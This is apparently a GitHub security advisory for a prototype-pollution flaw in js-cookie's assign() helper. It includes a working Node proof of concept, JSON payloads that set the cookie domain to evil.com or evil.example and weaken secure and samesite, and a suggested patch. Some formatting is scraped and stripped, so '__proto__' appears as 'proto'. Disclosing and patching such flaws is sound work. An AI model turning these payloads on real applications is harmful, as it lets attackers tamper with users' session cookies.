Where
-Infinity
0
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Summary

js-cookie's internal assign() helper copies properties with for...in + plain assignment. When the source object is produced by JSON.parse, the JSON object's "proto" member is an own enumerable property, so the for…in enumerates it and the target[key] = source[key] write triggers the Object.prototype.proto setter on the fresh target ({}). The result is a per-instance prototype hijack: Object.prototype itself is untouched, but the merged attributes object now inherits attacker-controlled keys.

Because the consuming set() function then enumerates the merged object with another for...in, every key the attacker placed on the polluted prototype lands in the resulting Set-Cookie string as an attribute pair. The attacker can set domain=, secure=, samesite=, expires=, and path= on cookies whose attributes the developer thought were locked down.

Impact

Any application that forwards a JSON-derived object as the attributes argument to Cookies.set, Cookies.remove, Cookies.withAttributes, or Cookies.withConverter is vulnerable. This is the standard pattern when cookie configuration comes from a backend:

js const cfg = await fetch('/config').then(r => r.json()); Cookies.set('session', token, cfg.cookieAttrs); // cfg.cookieAttrs influenced by attacker

A payload of {"proto":{"domain":"evil.example","secure":"false","samesite":"None"}} causes js-cookie to emit:

Set-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None

Affected code

js // src/assign.mjs — full file export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] for (var key in source) { // includes own enumerable 'proto' target[key] = source[key] // [[Set]] form - fires proto setter } } return target } Proof of concept

Node 22.11.0, no third-party deps:

Environment setup bash mkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc npm init -y npm i js-cookie

PoC js ubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs let lastSetCookie = ''; globalThis.document = { get cookie() { return ''; }, set cookie(v) { lastSetCookie = v; } };

const { default: Cookies } = await import('js-cookie');

const attackerAttrs = JSON.parse( '{"proto":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}' );

Cookies.set('session', 'TOKEN', attackerAttrs);

console.log('Set-Cookie that js-cookie wrote to document.cookie:'); console.log(lastSetCookie);

Execution: <img width="2614" height="1174" alt="cls-2026-05-14-01 44 39" src="https://github.com/user-attachments/assets/120df1fe-7e97-4ca3-904e-ab80d71ecf62" />

Suggested patch

diff --- a/src/assign.mjs +++ b/src/assign.mjs @@ export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] - for (var key in source) { - target[key] = source[key] - } + for (var key in source) { + if (key === 'proto' || key === 'constructor' || key === 'prototype') continue + Object.defineProperty(target, key, { + value: source[key], + writable: true, + enumerable: true, + configurable: true, + }) + } } return target }

Equivalent one-liner alternative - iterate own names only and filter:

js for (const key of Object.getOwnPropertyNames(source)) { if (key === 'proto') continue target[key] = source[key] }

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Source: GitHub
First published (updated )

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